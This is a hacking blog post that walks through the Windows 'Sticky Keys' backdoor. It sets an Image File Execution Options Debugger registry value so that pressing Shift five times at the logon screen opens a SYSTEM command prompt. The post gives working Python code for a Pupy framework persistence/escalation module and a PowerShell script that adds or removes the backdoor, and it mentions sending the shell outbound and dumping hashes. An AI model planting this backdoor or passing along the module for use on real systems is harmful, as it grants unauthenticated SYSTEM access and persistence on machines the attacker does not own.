Revenge of the Sticky Keys - An Exercise In Privilege Escalation and Persistence

A while back I was messing with the Pupy framework and decided to write a fun module for persistence/privilege escalation. The technique presented in this entry is nothing new, in fact there are far more effective and stealthy methods to use nowadays.. But, it's always fun to mess with frameworks and the Capitals game doesn't start for another thirty (30) minutes.

As a quick side note, a sample powershell script has been included at the end of this entry. The script is extremely simple and adds/removes the registry key.1

Synopsis
This Pupy module enables a user to escalate privileges to 'SYSTEM' and serves as a method of persistence.

Requirements
Admin privileges

Here is what I came up with
For those of you that don’t know… Windows has this little gem of joy used for accessibility reasons called 'Sticky Keys'. If you’ve ever hit the shift key five times on accident, you’ve likely seen this screen before.

The handy feature of 'Sticky Keys' to attackers is that it's accessible during the Windows logon process. As a result, invoking sethc.exe aka "Sticky Keys" during the logon process results a in process running with SYSTEM privileges.

The savage way of exploiting this is to:

Replace c:\windows\system32\sethc.exe with
cmd.exe (the command prompt binary)

The problem is… You can’t do this directly without shutting down the machine, using a boot disk, and working around the OS to backdoor it. Ironic.

However, as with anything in life, there are several methods to achieving the same end goal. As luck would have it, Windows has a registry key in all versions of windows called “Image File Execution Options.” This particular key enables developers to use debuggers against executables.

Why do we care?
This key enables us to execute arbitrary commands when sethc.exe is triggered - without rebooting the machine and without modifying the sethc.exe binary. Using this method, we can successfully escalate privileges and spawn shells as SYSTEM whenever we would like via RDP or physical workstation access.

First, we create a new registry key.

createNewKey = CreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe")

Next, we open the key and add a debugger string

registryKey = OpenKey(HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image 
File
Execution Options\sethc.exe", 0, KEY_WRITE)
try:
    SetValueEx(registryKey, "Debugger", 0, REG_SZ, "C:\Windows\System32\cmd.exe")
finally:
    CloseKey(registryKey)
    return True

Very cool, the stage is now set. Let's hit shift 5 times and !!!!
Sad panda. We are greeted with a command prompt but no escalation of privileges has occurred. Let's hop out to the Windows login screen and try one more time. Voila, we are now greeted with a SYSTEM shell.

Now, just for giggles let's throw together a Pupy powershell one liner, send a SYSTEM shell outbound, and dump some hashes:

Creating the module
Let's take this process and automate it with a Pupy module.

stickykeys.py

# -*- coding: utf-8 -*-
# Module Author: ptonewreckin

from pupylib.PupyModule import *
from pupylib.PupyCompleter import *


__class_name__="StickyKeysModule"

@config(cat="persistence", compat=["windows"], tags=["persistence","system","escalation","privilege","sticky","backdoor"])

class StickyKeysModule(PupyModule):
""" Enables persistence via registry keys using the sticky keys backdoor method\n Spawns a SYSTEM shell"""
dependencies = ["pupwinutils.stickykeys"]

def init_argparse(self):
    self.arg_parser = PupyArgumentParser(prog="stickykeys", description=self.__doc__)
    self.arg_parser.add_argument('-r','--registrylocation', help='Use an alternative registry location', completer=path_completer)

def run(self, args):
    if self.client.is_windows():
        self.windows(args)

def windows(self, args):
    self.client.load_package("pupwinutils.stickykeys")
    self.info("Attempting to update registry and add debugger ...")

    if self.client.conn.modules['pupwinutils.stickykeys'].AddRegistryKey("hi","yes","nono"):
        self.info("Registry key successfully added")
        self.success("Hit shift 5 times... :)")
        self.info("Now attempting to lock screen")
        if self.client.conn.modules['ctypes'].windll.user32.LockWorkStation():
            self.success("Screen successfully locked")
        else:
            self.error("Unable to lock the screen")
    else:
        self.error("Failed to implement sticky keys backdoor :(")

pupwinutils/stickykeys.py

# -*- coding: UTF8 -*-
# Module Author: ptonewreckin

from _winreg import *

def AddRegistryKey(registrylocation,keyname,keydata):
print keyname
print registrylocation
print keydata

#randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))])
try:
    try:
        # Attempt to create new sethc.exe key
        # Another method
        # \system32\utilman.exe
        createNewKey = CreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe")
    except Exception:
        # If backdoor has been executed before then step one is unnecessary
        # Would be better to code a check condition by querying registry prior to execution
        pass

    registryKey = OpenKey(HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe", 0, KEY_WRITE)
    try:
        SetValueEx(registryKey, "Debugger", 0, REG_SZ, "C:\Windows\System32\cmd.exe")
    finally:
        CloseKey(registryKey)
        return True
except Exception:
    return False

Equivalent in PowerShell1

stickeykeys.ps1

$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\"
$keyName = "sethc.exe" 
$stringName = "Debugger"
$binaryValue = "C:\Windows\System32\cmd.exe"

IF (Test-Path ($registryPath + $keyName))
{
    # Sticky Keys backdoor exists.
    write-host "Registry key found. Let's remove it."
    #New-Item -Path $registryPath -Name $keyName | Out-Null
    Remove-Item -Path ($registryPath + $keyName) | Out-Null
    write-host "Sticky Key backdoor has been removed."
}
ELSE {
    # Sticky Keys backdoor does not exist, let's add it.
    write-host "Registry key not found. Attempting to add Sticky Keys backdoor to registry."
    New-Item -Path $registryPath -Name $keyName | Out-Null
    New-ItemProperty -Path ($registryPath + $keyName) -Name $stringName -Value $binaryValue | Out-Null
    write-host "Sticky Keys backdoor added."
}

Registry before modification

Adding backdoor

Removing backdoor

References:
I cannot for the life of me recall where I found an article describing the use of debuggers to reference Windows binaries but if it was you please contact me and I'll add credit where due.

ptonewreckin

I do things with computers. Sometimes it reminds me of the matrix. Other times its full-blown Simple Jack.

Subscribe to Hacking and Coffee

Get the latest posts delivered right to your inbox.

or subscribe via RSS with Feedly!